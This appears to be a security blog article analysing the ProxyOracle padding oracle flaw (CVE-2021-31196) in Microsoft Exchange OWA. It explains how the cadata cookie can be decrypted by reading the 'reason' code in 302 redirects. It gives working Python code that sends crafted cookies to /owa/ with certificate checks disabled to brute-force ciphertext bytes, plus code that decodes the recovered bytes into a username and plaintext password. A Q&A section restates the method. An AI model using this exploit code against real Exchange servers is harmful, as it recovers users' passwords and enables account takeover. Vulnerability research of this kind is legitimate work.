ProxyOracle Exploitation Analysis 2—CVE-2021-31196

Onedaysec
4 min read
0 views
docx image 1770018741246 0 6ac6b4dbf3

0x00 Preface

---

The previous article 'ProxyOracle Exploitation Analysis 1—CVE-2021-31195' introduced the method to obtain user cookie information. This article will explain how to recover the user's plaintext password through a Padding Oracle Attack.

0x01 Introduction

---

This article will cover the following:

  • Implementation Approach
  • Partial Open Source Code

0x02 Implementation Approach

---

Prerequisites for implementing a Padding Oracle Attack:

1. Obtain the ciphertext and its corresponding IV (Initialization Vector)

2. Be able to trigger the decryption process of the ciphertext and know the decryption result

Applied to Exchange, the specific details are as follows:

(1) Obtain the ciphertext and the corresponding IV (Initialization Vector)

The cadata in the Cookie information corresponds to the ciphertext, and cadataIV corresponds to the IV

(2) Be able to trigger the decryption process of the ciphertext and know the decryption result

We can obtain the detailed decryption process by decompiling the DLL using dnSpy, as follows:

Use dnSpy to open the file C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

Navigate sequentially to Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication)

As shown in the figure below

0x02 Implementation Approach — technical illustration 1

Obtain the method to trigger the ciphertext decryption process:

Access https:///owa, send a GET request packet, and ensure the Cookie includes cadata, cadataTTL, cadataKey, cadataIV, and cadataSig

Judgment of the ciphertext decryption result:

After sending the GET request packet, a 302 redirect occurs by default, and the response content indicates whether the decryption was successful

The decryption result can be determined by checking the definition of LogonReason

As shown in the figure below

0x02 Implementation Approach — technical illustration 2

From this, it can be seen that 0 represents None, here it is a format error; 1 represents Logoff; 2 represents InvalidCredentials; 3 represents Timeout; 4 represents ChangePasswordLogoff

When attempting decryption, reason=2 indicates successful decryption

When reason=3, it indicates that the Cookie has expired, and Padding Oracle Attack cannot be performed at this time

Note:

The Cookie validity period for Exchange is 12 hours

0x03 Partial Open Source Code

---

1. Crack the 8th byte of the 0th block

The complete example code implemented in Python is as follows:

#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()


def checkFirstByte(url, flag):
url1 = "https://" + url + "/owa/"
cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="

cipher = base64.b64decode(cadata)
bs = 16
if len(cipher) % bs != 0:
raise ValueError("The length of `cipher` must be a multiple of `bs`")

cipher_blocks = []
for i in range(0, len(cipher), bs):
cipher_blocks.append(cipher[i: i + bs])

bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag])
bytecadata = bytetempdata + cipher_blocks[1]
base64cadata = base64.b64encode(bytecadata).decode()

cookie = {
"cadata": base64cadata,
"cadataTTL": cadataTTL,
"cadataKey": cadataKey,
"cadataIV": cadataIV,
"cadataSig": cadataSig,
}

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)

if response.status_code == 302 and "reason" in response.text:
pattern_name = re.compile(r"reason=(.*?)\">here")
name = pattern_name.findall(response.text)
print(name[0], end='')
if name[0] == "2":
print("\ndecrypt:")
print(bytecadata)
sys.exit(0)
else:
return False

if __name__ == "__main__":
for flag in range(0, 256):
checkFirstByte("192.168.1.1", flag)

Pay attention to the following details:

(1) Traverse from 0x00 to 0xFF

for i in range(0, 256):
i = bytes([i])
print(i)

(2) Ciphertext Block

Block length is 16

(3) Set allow_redirects=False when sending GET requests to disable redirection

2. From Padded Plaintext to Actual Plaintext

After completing the entire Padding Oracle Attack, we obtain a segment of padded plaintext

The complete example code for converting padded plaintext to actual plaintext is as follows:

#python3
import base64
import re

def unpad(s):
exe = re.findall("..", s.hex())
padding = int(exe[-1], 16)
exe = exe[::-1]

if padding == 0 or padding > 16:
return 0

for i in range(padding):
if int(exe[i], 16) != padding:
return 0
return s[: -ord(s[len(s) - 1 :])]


decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()

print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])

The code execution result is shown in the figure below

2. From Padded Plaintext to Actual Plaintext — technical illustration 3

The following details require attention:

(1) After obtaining the padded plaintext, PKCS7 must be used for data padding.

(2) The actual plaintext format is username:password.

Although the first two bytes of the plaintext cannot be decrypted, resulting in an incomplete display of the username, this does not cause any impact because the 'lgn' in the Cookie information we obtained displays the complete username.

0x04 Summary

---

This article introduces the method of restoring the user's plaintext password through a Padding Oracle Attack. The key code has been open-sourced, and the remaining parts are left for the reader to complete independently.

Related Questions & Answers

How can an attacker determine whether the decryption of a modified ciphertext succeeded when exploiting CVE-2021-31196?

After sending a GET request to `/owa/` with the crafted cookie, the server returns a 302 redirect. The response body contains a `reason` parameter in the redirect URL. If `reason=2`, it means `InvalidCredentials` (the decryption succeeded but the credentials were invalid), confirming that the padding oracle returned a valid decryption. If `reason=3` (Timeout), the cookie has expired and the attack cannot proceed. This feedback mechanism is the core of the Padding Oracle Attack, as detailed in the open-source code example.

After completing the Padding Oracle Attack, how is the padded plaintext converted to the actual username and password?

The obtained padded plaintext is first unpadded using PKCS7 (the `unpad` function checks that the last byte value matches the number of padding bytes). Then the string is decoded as UTF-16LE (since Exchange uses Unicode), and the first two bytes are discarded (because they cannot be reliably decrypted). The remaining Base64-encoded string is decoded to reveal the actual plaintext in `username:password` format. The full username is already known from the `lgn` field in the cookie, so losing the first two characters of the username is not a problem. For more details on obtaining the cookie, refer to the companion [Pwn2Own 2021 Microsoft Exchange Server Vulnerability (CVE-2021-31196) Exploitation Analysis](/news/pwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis).

How does the open-source Python code in the article crack the 8th byte of the first ciphertext block?

The code iterates through all possible byte values (0x00 to 0xFF) for the last byte of the crafted intermediate block. It constructs a modified ciphertext by prepending 15 zero bytes plus the trial byte to the second ciphertext block, then sends a GET request with this malformed `cadata` cookie. If the server responds with `reason=2`, the decryption succeeded and the correct padding byte was guessed. The script prints the successful byte value and exits. This is the first step of the full Padding Oracle Attack, which decrypts each byte sequentially as described in the [ProxyOracle Exploitation Analysis 2—CVE-2021-31196](/news/proxyoracle-exploitation-analysis-2-cve-2021-31196) article.

What prerequisites are needed to perform a Padding Oracle Attack on Microsoft Exchange using CVE-2021-31196?

To perform the attack, you need two things: First, obtain the ciphertext and its corresponding IV (Initialization Vector). In Exchange cookies, the `cadata` value is the ciphertext and `cadataIV` is the IV. Second, you must be able to trigger the decryption process and interpret the result. This is done by sending a GET request to `/owa/` with the cookie set, and checking the `reason` parameter in the 302 redirect response—`reason=2` indicates successful decryption. For more background, see the initial [ProxyOracle Exploitation Analysis 1—CVE-2021-31195](/news/proxyoracle-exploitation-analysis-1-cve-2021-31195) article.

Continue Reading